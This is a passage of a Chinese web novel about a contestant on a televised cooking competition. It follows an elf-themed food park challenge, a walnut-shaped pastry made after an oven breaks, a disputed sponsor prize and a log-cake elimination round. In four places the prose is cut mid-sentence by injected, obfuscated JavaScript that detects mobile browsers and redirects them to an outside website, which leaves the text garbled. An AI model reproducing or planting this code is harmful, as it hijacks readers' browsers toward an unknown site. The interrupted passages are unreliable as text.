这人看上去不好靠近、不近人情，实则再细心不过，送来的食物不会掉渣、没什么油和异味，连汤汁都吝啬，又比他们专业同学平时啃的小餐包多了熨帖的烟火气。 一个月的假期有大半时间都和蒋醉余共处一室，但后天就是第三学期开学的日子了。 原本想着要搬回学校附近的房子，现在齐新雨竟然犹豫起来。 我明明只是看脸和气质给自己找了个缪斯啊，怎么就沉沦成现在这样了呢！ 他又看了眼倒计时只剩两天的日历，擦干净手回到画板前坐好。 这是画幅很大的一件作品，齐新雨昨天晚上绷布框就废了不少时间。 他已经很久没有想要画这么大幅作品的冲动了。 创作中时间逃得飞快，和缓却不容忽视的闹铃声响起。 齐新雨坐在画室的小板凳上，独自打开新一期综艺。 众所周知，由于参与人数众多，预赛和海选是很少能有完整的叙事线的，只是把一些比较有矛盾点的选手镜头剪成合集。 但是从本周正赛播出开始，节目终于要回到观众们看着最舒服的时间线剪辑。 周初怡和闺蜜聂晴已经迫不及待地守在了电脑前。 聂晴实习的工作室虽说效率颇高，但买版权谈分成也是要时间的，国内像看暂时还有些麻烦。 现在是冬令时，澳大利亚和国内只有两个小时时差，她们早就打开了线上视频会议，只等着节目上线就投屏分享，一起连麦追综艺。 “你记得我跟你说我的本地同学约我去中餐吧，”周初怡随口道，“我们去的那家店放在这边确实还行，我也挺喜欢的……但是它真的没有好到那个程度吧！” 她又回忆起自己在学校的场景：“现在我同学像个中餐‘自来水’似的，天天在班里鼓吹东坡肉水煮鱼有多好吃，我都快听不下去了。” 聂晴跟着开玩笑道：“是我大粤菜拿不动刀了吗？” “那我下次找找做早茶的店咯……等一下，来了！”周初怡突然兴奋。 她已经打开了网页的屏幕分享，两人眼睁睁看着《美食之王》第五季第三集突然出现在播放列表里。 下面显示的“当前在看人数”飙升，计数单位没多久就已经变成了代表百万的“m”。 “我开始啦？”周初怡预告道，不等闺蜜回应就急切地点下播放键。 上天眷顾，她的电脑在视频加投屏的双重压力下也依然没有太过卡顿，聂晴那边观看体验良好。 最开始是一段迅速切镜头的预告片。 选手们不受控制的飞镖、蒋醉余手里张牙舞抓的龙虾、评委皱着眉头的试菜……最后结束于伊薇特一句面带怒容的“这不是我们的问题”。 什么问题？发生了什么？ 观众们甚至不知道他们看到的每个片段是在哪个环节，没法空降跳播，只能迷茫又紧张地看下去。 “但是！卧槽！男神你那个龙虾是活的啊！”聂晴撕心裂肺。 “你冷静一点，”周初怡无奈扶额，“他切豆腐玩刀那么顺手，杀龙虾应该也不在话下吧。” 聂晴扁扁嘴，觉得这两件事好像不能混为一谈，毕竟那块任人宰割的豆腐可不会挥钳子。 正片开始，评委们介绍过本周主题和赛制，拿出了抽选食材用的飞镖和轮盘。 聂晴看着视频里蒋醉余轻松写意地一镖镖击中目标，简直要热泪盈眶。 “初初你记得我给你发的那个有点出圈舞台吗……”她咿咿呜呜地念叨着。 “就是南楠主C、酱鱼有一段轮C的那个，他在那里面扔飞镖拉了多少人入坑啊！结果没多久就被‘发配’了。” “你看他跟评委说他前几年专门练过，当时舞台闲聊环节从来没讲过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775098|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他付出了多少努力。” 不仅如此，南楠还在直播里阴阳怪气他练飞镖影响自己。 聂晴在脑海中咬手绢，眼睛还紧紧盯着屏幕追综艺。 哇，我刚说完粤菜，男神就做了虾饺。 哇，我男神投票翻盘了，评委好坏心眼哦。 哇，我男神味觉也太强了，二十四种食材竟然全都能答对，好多香料我听都没听说过。 哇，我男神……这个安迪是哪来的，你看看你那个酸甜苦辣咸五味俱全的蛋糕！有什么脸说酱鱼偷懒、敷衍、没有追求！ “初初。”她喊了一声，周初怡心领神会地切出评论区浮窗。 实时消息刷得飞快，让人根本看不清字迹，看一句话的时间足够底下冒出上百条未读消息。 【其实这三种口味单拿出来应该都挺好吃的。】 【但是这是在一个蛋糕里的啊，怎么能不考虑相互之间的适配度。】 【用这么离奇的理由当面怼评委，哥们下一期就该被送走了吧。】 【我只好奇一件事，他这么说醉余，会不会离开赛场就被用中国功夫暴揍。】 【说不定要把安迪细细切做菊花豆腐。】 聂晴露出不忍卒读的表情。 你们到底有多执着于这个无稽之谈的隐士高人设定啊！酱鱼才不是那种人设啊！ 果然不能跟刻板印象较劲。 她看着蒋醉余一骑绝尘、高居榜首的积分表安慰自己。 这个节目好看是挺好看的，就是有点浪费心脏。 前有选手质疑赛制，靠投票改变得分，后有选手火力全开，挑衅对手、质疑评委。 但独特的是，这种戏剧性又不是彼此勾心斗角的矛盾。 相反，绝大多数选手之间看上去都很平和，那个让蒋醉余和伊薇特翻盘的投票结果就充分展示了他们对技艺的坚守。 人人都想知道，面对这样一群选手，节目组准备怎么维持他们“火药味最足的美食竞赛综艺”的名头，还是干脆就此摆烂。 也有一些忠实粉丝，无论综艺有着什么样的走向都愿意追更，他们的热情更多集中于能不能获得一些选手或节目同款。 节目组定制的食材转盘得到了不少选择困难症的喜爱，导演被轰炸了半天，终于姗姗来迟发出一条推文： “很遗憾，我们没有备用道具能给大家抽奖，唯一一套完好的飞镖和转盘被醉余要走了。” 齐新雨咬了咬嘴里的软肉，有点疼。 被觊觎的飞镖正和他做着玩的雕塑类作品一起，裹着一身春风安静地躺在透明展示柜里。 他一抬头就能看见。 观众大感无趣，转而开始铺天盖地地讨论梅森那一句“积分的作用你们以后就知道了”是什么意思，与之有关的问题空降欧美最大问答网站的热榜。 有人说积分高的说不定可以获得免淘汰或者复活机会；有人认为第二周正赛的待遇可能与积分高低有关。 还有人大开脑洞，提出了积分赛其实没什么用、只是让选手熟悉一下环境的奇妙猜想。 这个话题的不只受到网友的关注，至今未能从评委处得到答案的选手们也同样好奇。 他们忧心忡忡地看着夏洛特三人站在自己面前，不知道积分赛的奖惩何时会落到自己头上。 夏洛特笑道：“希望大家都度过了一个愉快的周末，如果没玩够也没关系，今天我们要外出进行比赛。” “我们已经踩过点了，”奥斯汀神神秘秘地补充，“的确是个非常好玩的地方，应该所有人小时候都想象过那样的场景。” 他们把选手们被赶上大巴车，几十分钟后，市郊一座童话风的城堡映入眼帘。 一位带着精灵翅膀和耳朵的年轻男士站在雕花栅栏门口，向他们微微躬身。 “各位人类厨师，欢迎来到精灵美食乐园。” 22. 魔法美食森林 眼前这家还没有开业的美食乐园，就是他们第三周比赛的赞助商。 “我们越来越像个旅游景点推荐节目了，”有人小声嘀咕着，“所以到底为什么非要来现场比赛啊。” 但愿里面不是美食大排档或者商场美食城之类的存在，蒋醉余看着乐园花花绿绿的招牌漫无目的地想。 扮成精灵的男士把他们迎进去，富丽堂皇的大厅空空荡荡，只有一圈柜台，大概开业后会成为前台咨询处。 向左右方向各有一扇关闭的大门，看上去描绘着金灿灿的华丽图腾，定睛一看才发觉不对。 那门上的哪是传统宫殿的花朵宝石，而分明画着蛋糕、甜甜圈、咖啡等甜食饮料，甚至还有各种各样的蔬菜瓜果、海鲜兽肉。 “这两扇门后的空间是完全一样的，我会带领大家游览左侧一厅，而各位的挑战赛也将在那里展开。”精灵说。 他在机器前面一抬手，大门自动打开，里面是一片有花有树有水的“魔法森林”。 这里大部分的草木都是假的，被漆成童话仙境一般的马卡龙系梦幻色彩。 不过草木们的作用就颇为现实了。 树上挂着水果，草丛里藏着切好的肉，河边水桶里装着饮品。 沿着河向前走是几座白金色的洛可可风八角亭，亭内还摆着安静流淌的巧克力瀑布。 酱油、酒之类的人工制品，也都摆在类似的亭子和人造建筑里。 “如果单看食材的种类，和我们的储藏室也差不多了。”梅森感叹道。 他们在森林里走走停停，走到尽头时看到一间巨大的的玻璃花房，在仿阳光色调的顶灯下熠熠生辉。 透明的玻璃清晰地呈现出屋内的样子。花房正中间是一棵高大、粗壮的树，周围摆着一张张厨房操作台。 “这是我们精灵族的母树，”乐园工作人员十分入戏，“这次邀请各位来自人类世界的厨师在母树旁边烹饪。” “没错，”夏洛特接着说，“这就是你们今天的赛场，本周的主题就是：精灵。 “在本轮挑战赛中，这整座森林都是你们的食材库。你们不会有任何拿取食材的限制，并且能够保留比赛开始前的选材料时间。” 惯常的比赛中，选手们有五分钟时间拿好所有自己要用到的材料，此后便不能回到储藏室。 而今天则不同。 不仅一开始筹备食材的时间被延长，而且比赛开始后，他们依然可以随时补充自己忘记的材料。 但从另一方面讲，比赛倒计时从不会为谁停止，补充食材占用的是自己做菜的时间。 “现在为大家分发森林的电子食品地图，你们有十分钟时间熟悉地形。” 选手们拿到了乐园官方配备的平板电脑，除了查看地图以外没法使用任何功能。 甚至面向普通游客的“食材搜索”功能，也是被禁用的浅灰色状态。 一切都要靠大脑和眼睛进行检索记忆。 “好好的厨艺比赛，怎么还要比拼脑力啊！”众人哀嚎起来。 评委不公布挑战赛的题目，他们就没法提前设计菜品，也就不能在这此时提前定位自己需要的食材。 这十分钟如果完全花费在路上，可以走马观花地把每条路都走一遍。 如果用来观察地图，却谁也不能保证自己能够记住每样食材的大概位置。 因此，选手们大多选择了一边看地图一边熟悉几条主路。 只有两个人例外。 一个是蒋醉余，另一个则是西班牙青年胡安，那位和自己同胞加布里埃尔针锋相对的金发选手。 从当初海选上他当众质疑加布里埃尔就不难看出，他似乎是比较活泼外向……可能还有点莽撞的性格。 三位评委围着这两名选手，忍不住好奇起来。 “我知道胡安记忆力惊人，背下不大的地图对他并非难事，”梅森看向蒋醉余，“那么你呢，醉余，你也是过目不忘吗？” “那倒没有，不过我认路水平还不错。”蒋醉余随口道。 而且食材的安排绝非随机，他已经猜到了一点规律，打算通过地图验证一下。 他听着梅森发出语气夸张的感叹，看似毫无思路地在地图上划来划去，在脑内慢慢建立起坐标。 刚进门的那几棵树上，以香蕉、芒果等热带水果居多。 等到森林深处的温室花房附近，可以找到的食材就变成了甜菜、土豆之类生长在寒带的植物。 以大门和花房连线作为正方形的一条对角线，就会发现另外两个角附近的分别安置着仙人掌和海带为代表的沙漠和海洋植物。 肉类也大部分遵循着这样的规律，例如牛肉就放在温度和湿度都相对适宜的中心地带。 这样一来，以温度和湿度为两条坐标轴，就可以把整个森林分成不同地带。 他又刻意记下几样对生长环境没什么要求、因而摆放位置没有规律的食材，地形便在他脑内形成了基本准确的模型。 他绕着地图随便走了走，确认了几件常用食材的坐标，十分钟时间很快结束。 直到这时候，评委才开始宣布挑战赛的题目。 “还有一个月，精灵们就要向人类开放他们的城堡和魔法美食森林了，届时将会举办盛大的仪式。 “精灵崇拜自然，喜欢一切天然的事物。 “他们希望各位业余厨师能够每人制作一道菜品，模仿自然食物外形，却有更丰富的味道。” 这个要求有点像大名鼎鼎的“龙吟草莓”，外形似草莓却不是草莓的口感，风味层次也胜过单纯的草莓。 不过既然精灵们喜欢“天然”事物，那当然是不会提供各类分子料理仪器的。 古往今来“拟态”类的菜肴其实并不少，只是中餐中比较有名的食物，就包括了寿桃包、锦鲤年糕、素烧鹅等等。 不过寿桃包和锦鲤年糕看起来滑溜溜，完全比不上毛茸茸的桃子和披满鳞片的真锦鲤。 要说看起来最像的，象形核桃酥才一定该榜上有名。 蒋醉余一边想，一边先向着森林中心地带的一片山坡出发。 核桃树有些娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋醉余收回眼神，仔细检查自己的酥皮有无疏漏。梅花肉很快也炖得差不多了。 他增大火力，开始收汁，然后弯下腰打开烤箱门，准备把烘烤完毕的坚果取出来碾碎。 预想中几乎要将人蒸干的热气却并没有袭来。 他皱着眉感受片刻，从桌子上拿起红外线温度计。 原本设定好预热到二百度的烤箱，现在却只剩下了一百四十度。 “夏洛特，”蒋醉余举手示意，“我操作台的烤箱好像坏了。” 在温度不够的情况下照常烘烤坚果，会导致里面熟透而外层还没有到达他想要的酥脆程度。 若等器材修好将坚果再次回炉，内部无疑会过熟、产生糊味，也就意味着他只能重新收集食材、重新烘烤。 他深吸一口气，把烤盘取出来，默不作声地等待评委和维修师到来。 远方的操作台后似乎有谁叫了一声好。 23. 咸口象形核桃 在比赛中间发生这样的意外对谁来说都是灭顶之灾。 哪怕理论经验丰富、心态平稳如蒋醉余也不例外。 但机器出问题并非人力所能避免。 操作台专门被运到花房、刚刚胡安又撞了一下，就那么巧地导致了一个温度零件松动脱落。 维修师傅端详了半天，只得出一个现场修不好了的结论。 节目组找来备用的外接烤箱，让蒋醉余继续工作。 选手助理已经在他报错的时候手动给他按停了表，关掉炉火，在这段时间里他没法接触操作台。 现在计时恢复，他的制作截止时间一下比对手们都晚了二十几分钟。 蒋醉余看着已经有些凉了的猪肉，重新开大火。 他将烤箱温度调到更高一点的温度，二次反工的坚果就像高温复炸的炸鸡一样迅速变得酥脆。 等酱汁完全收干到猪肉上，把梅花肉条放进烤箱打开热风烧烤模式。 那边新烤箱兢兢业业工作，这边蒋醉余手上仍不闲着。 西班牙熏火腿切成短短的细丝，和香菇丁、冬笋丁一起炒香，再加入果仁碎、猪油黄油混合揉匀，做成馅料。 叉烧烤好后，他把叉烧切成小方块，用核桃馅包住一块叉烧，揉圆放进冰箱冷藏定型，再包上褐色的酥皮。 待到桌上放满褐色球体，最难的刻型工作就来了。 牙签、小刀、花钳各种工具齐出，圆滚滚的夹心面团先是有了两瓣核桃壳之间凸起的接缝，接着又被仔细地刻上弯曲不平的纹路。 这一步需要非常精细，万一不小心划破了酥皮，伤口部分会像另一种传统中式点心荷花酥一样，一层层绽开。 但是显然核桃上不会开花，这就意味着整个核桃酥都要报废掉。 烤箱坏掉的另一个影响在这时显现了出来。 虽然蒋醉余得到了补偿的时间，但他的完赛时间与其他人不再保持齐平。 就在他刻到一半的时候，另外十人的烹饪结束了。 评委不可能为了点评他一人而让其他选手的菜硬生生等待二十分钟的等待，他们开始走动着观察菜品，偶尔小声和选手交流，又回到台前开始按照观察结果一一点名，进行惯例的公开评价。 蒋醉余被戴上隔音耳罩，全神贯注鱼自己手上的动作，终于及时把核桃酥送进了重新预热好的烤箱。 在长方形黑陶盘的一端垫上竹叶，撒几颗加盐和桂花蜜炒的核桃碎，另一端放上两只刚出炉的核桃酥。 评委不知何时停止了点名下一个选手，蒋醉余在全场瞩目下完成了摆盘。 面前的电子钟终于清零，他擦干净手摘下耳罩，夏洛特带头鼓起掌来：“醉余，恭喜你，你成功完成了比赛。” “既然如此，我们就来插个队，先看看你的作品吧。” 蒋醉余端着盘子走上前，介绍起自己的新版核桃酥。 他在馅料的改良上下了很大功夫。 如果只是简单的叉烧火腿配坚果碎，其实并不能完美解决发腻的问题。 中国人自称大吃货国国民，每到年节的节庆食品争奇斗妍。伍仁火腿或叉烧馅月饼都曾经在市场上出现过，却没有得到太高的评价。 为了搭配核桃和叉烧的厚重醇香，蒋醉余选择引入另一种风味：鲜。 香菇、冬笋、金华火腿，这是江南菜最喜欢的几种提鲜食材，春冬交接之时一罐腌笃鲜能让人鲜掉舌头。 西班牙火腿与金华火腿在咸度、口感和肥瘦比例上略有差异，但谈不上孰优孰劣。 考虑到本土化需求，而坚果碎已经承担了馅料中口感偏硬的角色，再加上食材库的限制，蒋醉余才选择了西班牙火腿。 外表看上去仿佛真的像光滑硬壳的核桃，一刀切下去却没有过多阻碍，酥皮一层层裂开、掉渣，露出棕褐色的内馅和浅红色的叉烧肉。 馅料中最先爆发的是扑鼻鲜香，后味又有烘烤坚果的气息袭来，与火腿的橡木香互相映衬。 从口感上来讲，“核桃壳”酥脆却入口即化。 香菇丁滑嫩，冬笋丁细嫩，它们都和坚果碎大小相差无几，吃起来无比和谐。 位于中心部分的叉烧肥而不腻、瘦而不柴，满满的酱香和甜香被高温压缩到肉里，一口咬下去尽是浓缩的精华。 “我们节目至今为止录了四季，上百场比赛，你不是第一个受到器材影响的，”奥斯汀说，“但你一定是其中心态和技法都最稳定的一个。” “我比较好奇的是，你在前几次正赛中大都选择在西方菜品中融入华夏元素，这一次呈现的却几乎是一道全然的中餐。”梅森一脸开玩笑的样子，眨了眨眼。 “终于可以甩掉西餐这个包袱了，感觉如何？还是说这是为了回馈观众们对你那道华夏菜菊花豆腐的热爱呢？” 蒋醉余：“……” 要不是这样做不礼貌，他多想甩给这人一对白眼。 梅森这句话相当于给了他一道送命选择题：是承认自己作为纯华人看不起西餐，或者坦白自己在这样“虔诚的”美食竞技里一心媚观众赚流量？ 绝赞二选一，但成年人选择都不要。 蒋醉余默默叹了口气，拿出自己在偶像团内句句谨慎的状态，也笑道： “这不是从来没看到过这么梦幻的美食森林，一兴奋就想给精灵们做点我最擅长的吗…… “而且我之前做的解构版毛血旺，好像各位评委老师评价也不错呢。” 以玩笑还击玩笑，夸金主爸爸是永远不会出错的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775100|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现场气氛稍稍凝固，站在一旁当壁花的乐园工作人员连忙出来打圆场：“谢谢这位客人，愿自然之神与母树保佑您。” 夏洛特也跟着调侃道：“醉余，看不出来啊，原来你这么喜欢精灵乐园。” 几人不尴不尬地吹了几句赞助商，评委们把话题转向下一位选手。 “我们是不是还没有公布这场比赛的奖励。”点评环节结束，画面外的导演突然插话道。 正如一开始在介绍比赛题目时所说，精灵美食乐园还有一个月就要公开营业了。 在开业当天，他们将会组织一场晚会，所有买到首日入园门票的游客都可以参加。 他们找到节目组不仅是为了打广告，也是真的想要选出一些能在餐会上使用的菜肴灵感。 “除了冠军固定的五千女王镑奖金以外，还有两到三人也将免于参加淘汰赛，并得到一笔菜品授权费。” 乐园会选中三道菜肴给出奖品，但不一定是评委心中的前三。 他们不打算真的购买菜谱 《美食之王》节目的评委和选手对标的是美食奖的评审标准，做起来工序复杂、难度超高，对开业晚会来说不是一个很经济的选择。 他们想要的是“选手授权仿制”的称号，不仅能借助综艺的名声展现自己确实是一个在食物方面下功夫的真正的“美食”乐园，也期待能够吸引来一些选手的粉丝，扩大顾客群体。 以蒋醉余的象形核桃酥为例，他们当然不会选择手工雕琢，而是想要简单地使用硅胶模具和普通面团，并降低馅料的复杂程度。 为了不堕名头，他们承诺把最后的餐品交给选手本人审核。 不论从什么角度来看，似乎都是个相当慷慨的赞助商了。 “那么这几位幸运儿会是谁呢？” 夏洛特清了清嗓子：“首先，由评委选出的第一名。他经历了可怕的突发事故，但发挥一如既往稳定，对自然食物外形的模仿之相像、精细，令我们看到了他的匠心。这个人就是——” 在听到“突发事故”的时候，不少选手已经又一次鼓起掌来。 夏洛特不再卖关子，微笑道：“醉余，来领取你的第二笔五千镑吧。” 冠军的噱头不容错过，他同时也是那位精灵导游宣布的乐园的选择。 除了蒋醉余的象形核桃酥，他们还挑中了日裔选手粥川的莓果和果子，以及意大利选手洛伦佐的花形泡芙。 三样菜品，无一例外，全是点心。 名单一出来，就有不少人隐隐变了脸色。 “我们理解晚宴有对点心类菜品的偏好、不希望看到嘉宾们举着小羊排啃啃啃，但是为什么不提前说明呢？” “我很难相信这个结果没有被一些潜规则影响。” 24. 树干海绵蛋糕 如果只是奖金的问题，其实场面不一定会这么群情激愤。 但是所有被选中菜品的选手都能免于参加这周的淘汰赛、保送进入十强…… 这样的奖励由不得他们不心动。 他们无法理解，既然赞助商这么喜欢点心，何不直接把比赛的题目定为象形甜品。 “我觉得费尽心思做了素牛排的我像个笑话。”法国选手薇薇安冷笑道。 安迪看着自己交上去的千层意面，哼了一声：“可不是吗。” “请各位客人冷静一下，”乐园的工作人员试图安抚，“作为一家美食主题乐园，我们要举办的并不是开业舞会，而是餐会。” 舞会以冷盘甜点居多，餐会可是好吃好喝、什么都有的地方。 “我们并没有任何对食物种类的倾向性，无论是前菜、主菜、汤品或者任何菜色都是我们希望看到的。” “我们会从外形、味道、独特性和简化批量制作的难易程度等多重角度考虑，相比之下这三样更符合我们的需求。” 但现在说明标准已经晚了，而且他们也无法拿出量化的评价参考或结果。 隐瞒附加要求并选中了三样点心的事实摆在这里，衬得一切解释都像是苍白的狡辩。 “《美食之王》此前不是没有一人以上免赛淘汰赛的例子。”导演举着扩音喇叭和他们清算历史。 “算了吧兄弟，”塞缪尔讽刺地笑了笑，“谁不知道团队赛获胜的那一队能全队免赛。” 导演忽略他，自顾自地说：“自从第一周的赛制错误以来，我们每次设计比赛都十分谨慎，这次的三个名额对于每个人来说都是机会平等的。落选的选手可能也只是某一方面略有不足。” 比如安迪仿松树造型的青酱千层面需要各种大小、形状的面皮，这个造型虽然独特，但是复制起来太过繁琐，普通的青酱意面又没什么特点。 薇薇安的素牛排用到了多种食材，煎炒、炖煮、烘烤、研磨，工序更是复杂。 “还是那句话，”丽贝卡怒气冲冲，“那究竟为什么不在比赛前告诉我们还要参考什么‘独特性和简化批量制作的难易程度’？” 胡安跟着煽风点火：“你没听人家说‘自从第一周的赛制错误以来’吗，被打脸可让节目组耿耿于怀了好久吧，再也不给我们翻盘的机会咯。” 他们几个话赶话地把导演组逼得沉默，现场蓦地安静下来。 室内的空气忽而流动，蒋醉余一抬眼，便看到身边的洛伦佐一步踏出。 他呆了一下，还没反应过来发生了什么，就听到这位意大利青年飞快道：“不就是个免赛名额吗，我就算自愿参加淘汰赛也不会被淘汰。” “洛伦佐，人要对自己说的话负责。”夏洛特难得锐利的目光望了过来。 蒋醉余默默扶额。 第一周的飞镖大赛，就是这位选手大咧咧提出想要和自己换食材。 如今他更是靠着一句话，把和节目组对峙的众人的注意力，一下吸引到了三名获奖者身上。 蒋醉余本就是评委选出的冠军，不管有没有这个附加奖励都能免赛，不属于会被过多注意的对象，可以继续假装不存在。 可是这里还有另一位选手的啊。 洛伦佐似乎不明白，他这一句话不仅影响自己的命运，还把粥川也架到了火上。 粥川高梧沉默半晌，顶着全场眼神慢慢说道：“洛伦佐说得对，我对自己的实力有自信，参加淘汰赛也没什么大不了的。” 夏洛特叹了口气。 她和蒋醉余对视一眼，确认自己给予厚望的冠军不打算跟着出头，表情终于好看了一点。 另外两人坚持着自己说出口的话，她只好宣布给他们每人增加半小时的淘汰赛时长。 蒋醉余又围观了一场闹剧，等在一旁漫无目的地滑动着手机。 关闭了各大平台通知的手机空空荡荡，和齐新雨的对话框除了它们每天例行公事似的“饭在外面”“麻烦啦”，就是对方前两天发来的消息。 齐新雨语气不像兴师问罪，话题却很尖锐：“蒋先生不是说，导演那个是‘不想要才丢给你’的吗？” 蒋醉余还没想好怎么回复，只能装死。 他有点担心，齐新雨这么问，会不会是已经意识到自己认识他追星的账号、知道他喜欢飞镖那套舞台…… 他看看四下无人，时隔多日打开了国内外社交媒体。 连齐新雨的小号都安安静静，什么也没发。难道缪斯是什么说出来就不灵了的东西吗？ 他把页面切回通讯软件。 楼下，导演的大喇叭已经聒噪地响了起来，催促选手们回到灶台后。 蒋醉余也放下手机在一旁站好。 为了让赞助商的乐园多出镜一点，这周的两轮比赛都将在同一天完成。 休息完毕，评委们还得打起精神组织接下来的淘汰赛。 “提到精灵，人们总是会想起森林、植物、自然之类的词汇，今天的淘汰赛，你们要做的就是看起来像树干一样的树干蛋糕。” 这其实是一种圣诞节常见的糕点，内部由海绵蛋糕卷构成，外面通过奶油抹面或其他方法装饰成树干的样子。 评委们原本计划了四种形状的树干蛋糕，分别是传统的有分枝的树干形、直立的树墩形、斑驳的白桦树皮款，以及一盘中装有三个小号树干的版本。 他们想通过抽签决定每两人制作同一种，做得好的人自动安全，再从四组的败者里评出表现最令人失望的，作为最终淘汰对象。 也就是说，这是一个带点运气成分的游戏。 就算你做翻车了，但只要和你做同一种形状蛋糕的人比你更拉垮，照样可以安全晋级。 而哪怕你做出了评委赞不绝口的糕点，假若同组人更加厉害，就也只能进入待定席。 “可是现在由于增加了两位选手，所以会有两种形状各自被分配给三个人。” 众人一一抽签分好组、拿好材料，评委一声“开始”，拥有更长时间的粥川和洛伦佐动起了手。 粥川抽到的是白桦树款。 考虑到要用白巧克力装饰外表，他做了苦味稍重的抹茶蛋糕，夹馅也是抹茶味，只加入了少量蜜红豆。 洛伦佐则被分到小树干组。 他昨天放了狠话之后今天整个人战意昂扬，制做了三种不同浓度的咖啡蛋糕卷，又是酒渍水果、又是分子泡沫技术，在蛋糕的装饰和搭配上下了很大功夫。 半个小时对甜品制作来说转瞬即逝，另外八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775101|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人也开始了各自的烹饪。 巧克力是树干蛋糕最常见的口味。 一提到制作棕色的树皮，大多数人都会想到巧克力色。 作为经典甜食素材，能与它搭配的味道属实不少。 伊拉选了盐渍柑橘类水果，橙子、柠檬、柚子、葡萄柚之类圆滚滚黄澄澄地摆了一桌子。 她需要做的是树桩蛋糕，比起另外三种条状的树干，树桩蛋糕属于矮胖型，要做成这样的蛋糕卷需要卷上不少圈， 除了巧克力以外，咖啡和栗子也是常见的棕色食材，还有人干脆用色素调整奶油，以便自由地选择风味。 很快，时间截止，夏洛特报出命运的宣判。 小树干组，共两人，加布里埃尔待定。 桦树组，共三人，安迪待定。 树墩组，共三人，胡安待定。 还剩最后一组。 评委沉默了一瞬间，终于还是缓缓开口：“以及被我拖到最后的结果，传统组，两人——伊薇特待定。” 与她同组的薇薇下意识看向她。 伊薇特很强，这是所有人公认的。 无论是前两周的比赛结果，还是上课时她广博的知识和技术储备，都证明了这一点。 她从来都热衷于帮别人解决问题，和每一名选手关系都很好。 只是自从上周的酥皮面团基础课开始，她就频频成为表现欠佳被留堂的那一个。 在昨天的比赛里，她更是犯下重大错误，呈上了一份中心还带着血的生鸡肉。 连斯蒂芬先生都知道，没做熟的鸡肉可是有概率导致细菌感染得。 再加上她上周五在街上哭成那个样子…… 还没等蒋醉余想明白这位对手身上究竟发生了什么，就听到评委开始做出最后的四选一。 “加布里埃尔，其实我们很喜欢你作品里的栗子蒙布朗元素。”奥斯汀说。 “只不过和你同组的洛伦佐比你展现出了更惊艳的技术，如果全场大排名，你可以排进前三——所以，你安全了。” “安迪，你为树干蛋糕盖上雪的想法也很独特，只是下次要注意调整薄荷的比重，它现在吃起来实在过于清凉了。 “但你比另外两个表现好一些。” 留在楼下的只剩下了伊薇特和胡安两人。 “胡安，你是非常有天分的厨师，你是很多人心中的人形自走菜谱。这一次的树墩蛋糕，你使用了蓝莓酱和胡椒巧克力，这是一个很冒险的选择。 “我看到你的腿已经一片青紫了，但是你依然坚持着按照自己的想法坚持完成了自己的作品，我想没有人不会为此动容。” “伊薇特，我们对你寄予厚望，你也的确屡屡表现出名列前三的优异水平。大家都知道这不是你的正常状态，但作为一场竞赛，我们看的是结果。” “你们二人中将要离开赛场的是——” “伊薇特。”夏洛特望向她。 这个姑娘盯着地板不知道在想些什么，听到自己的名字时肩膀微微一颤，仍然没有抬头。 “抱抱你的同伴，然后上楼去吧。 “胡安，如果有机会，希望下一季还能在这个赛场看到你。 “而现在，先容许自己休息一会吧。” 25. 什锦文思豆腐 然而，伊薇特从次日开始都没有出现。 她再次请假，连夜坐飞机回了国，三人操作台边只剩下了蒋醉余自己。 选手助理顶着可怜兮兮的表情出现，深谙说话的艺术：“醉余，菊花豆腐挑战的反应视频，你是不是忘记传给我了。” 蒋醉余动作一顿。 他面不改色地答应了助理今天就发视频，拎着课上练习做的菜回了家。 “小齐，我们今天复刻了美食奖获奖的炸黑松露丸子和伊比利亚猪肉丸，我不小心做多了点，你要不要尝尝？” 他说着，照了张照片发了过去。 这一路紧赶慢赶，炸货依然温热，也没有被包装盒里的水汽闷软，透过屏幕也能看出棕色的脆皮会包裹着怎样绵软的内心。 齐新雨过了两分钟才回复，语气还是很礼貌：“谢谢蒋先生，我下午吃得晚，没有口福啦。” 饭都不吃了，看来问题确实相当严重。 蒋醉余在手机上敲敲打打，搬出了反应视频作为借口。 没过两分钟，画室房门突然被打开，门后探出一个脑袋。 蒋醉余坐在楼下沙发上仰头看他，什么都没发生似的招了招手。 齐新雨显然是没想到他就在楼下。 